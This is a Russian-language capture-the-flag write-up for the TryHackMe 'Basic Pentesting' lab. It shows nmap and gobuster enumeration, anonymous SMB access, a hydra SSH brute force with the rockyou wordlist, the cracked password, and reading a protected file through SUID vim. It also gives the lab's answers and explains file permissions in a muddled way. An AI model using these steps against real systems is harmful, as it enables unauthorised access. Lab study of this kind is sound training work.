Pentest
June 8, 2025

TryHackMe: Basic Pentesting

https://tryhackme.com/room/basicpentestingjt

This is a machine that allows you to practice web app hacking and privilege escalation

МАТЕРИАЛ БЫЛ ПОДГОТОВЛЕН @MIZ0RU КАНАЛ @MIZ0RUMAIN

МАТЕРИАЛ БЫЛ ПОДГОТОВЛЕН @MIZ0RU КАНАЛ @MIZ0RUMAIN

МАТЕРИАЛ БЫЛ ПОДГОТОВЛЕН @MIZ0RU КАНАЛ @MIZ0RUMAIN

Всех приветствую на райтапе лёгкой машины на THM "Basic Pentesting"!

По классике подключаемся по OpenVPN, вписываем хост

echo "10.XX.XX.XX basic.thm" | sudo tee -a /etc/hosts

Запускаем nmap-скан

sudo nmap -A -vv 10.XX.XX.XX

Я сразу пошёл проверять OpenSSH 7.2p2 через searchsploit

searchsploit OpenSSH 7.2p2

Нашёлся Username Enumeration эксплоит, и можно было бы узнать юзернеймы, но я решил работать с Samb'ой. Запустим gobuster по директориям

gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u basic.thm

Найдём директорию development, что станет нашим ответом. Внутри будет два .txt-файла, но там нет ничего ценного.

Вспоминаем, что на сервере есть SMB, подключимся посредством

smbclient -L //basic.thm -N

-L - показать все доступные через SMB директории

-N - без пароля

Найдём директорию Anonymous, подключимся к ней

smbclient //basic.thm/Anonymous -N

Откроем список файлов и скачаем его с помощью get

ls
get staff.txt

После этого файл скачается в директорию, из которой вы подключились к SMB

Внутри есть 2 имени: Jan и Kay, имя Jan подойдёт нам для ответа на пятый вопрос.

Давайте сбуртим SSH используя имя Jan (самбу сбрутить не получится и Kay тоже). Воспользуемся для этого hydra и словарём rockyou.

hydra -l jan -P /usr/share/wordlists/rockyou.txt ssh://basic.thm

Находим пароль armando и подключаемся с этими данными по SSH, протокол, по которому мы подключаемся - седьмой ответ

ssh jan@basic.thm

Внутри пусто, спустимся в директорию /home/ и узнаем что там

jan@basic2:~$ ls
jan@basic2:~$ pwd
/home/jan
jan@basic2:~$ cd ..
jan@basic2:~/home$ ls
jan kay

Попробуем узнать, что мы можем запускать используя sudo -l

jan@basic2:~$ sudo -l
[sudo] password for jan:
Sorry, user jan may not run sudo on basic2.

Столкнёмся с ошибкой. Попробуем войти в kay, опять столкнёмся с ошибкой

jan@basic2:/home$ sudo kay
[sudo] password for jan:
jan is not in the sudoers file. This incident will be reported

В таком случае нам надо воспользоваться SUID. Это специальный бит, отвечающий за то, чтобы программу запускать от имени владельца.

Чтобы найти все такие файлы воспользуемся командой

find / -perm -4000 -type f 2>/dev/null

find - команда чтобы найти файлы

/ - чтобы начать поиск по всей системе

-perm -4000 - ищет файлы с правами доступа 4000, то есть с SUID-битом

-type f - ищет только файлы (исключая каталоги, сокеты...)

2>/dev/null - отключает вывод ошибок доступа, переправляя их в /dev/null

Из данного списка сразу в глаза бросается, vim, будем иметь это ввиду

/usr/bin/vim.basic

Откроем директорию /home/kay и попробуем прочитать с помощью cat pass.bak, но нам скажет, что у нас недостаточно прав. Узнаем полную информацию о файле и правах с помощью

ls -la

Увидим, что у файла pass.bak есть атрибут r, то есть открывается от имени рута. И вспоминаем, что vim, как раз умеет так делать, пишем

vim pass.bak

И вот наш последний ответ! Чтобы выйти из vim'а, просто напишите

:q

И нажмите Enter, поздравляю с ещё одной решённой задачей!

МАТЕРИАЛ БЫЛ ПОДГОТОВЛЕН @MIZ0RU КАНАЛ @MIZ0RUMAIN

МАТЕРИАЛ БЫЛ ПОДГОТОВЛЕН @MIZ0RU КАНАЛ @MIZ0RUMAIN

МАТЕРИАЛ БЫЛ ПОДГОТОВЛЕН @MIZ0RU КАНАЛ @MIZ0RUMAIN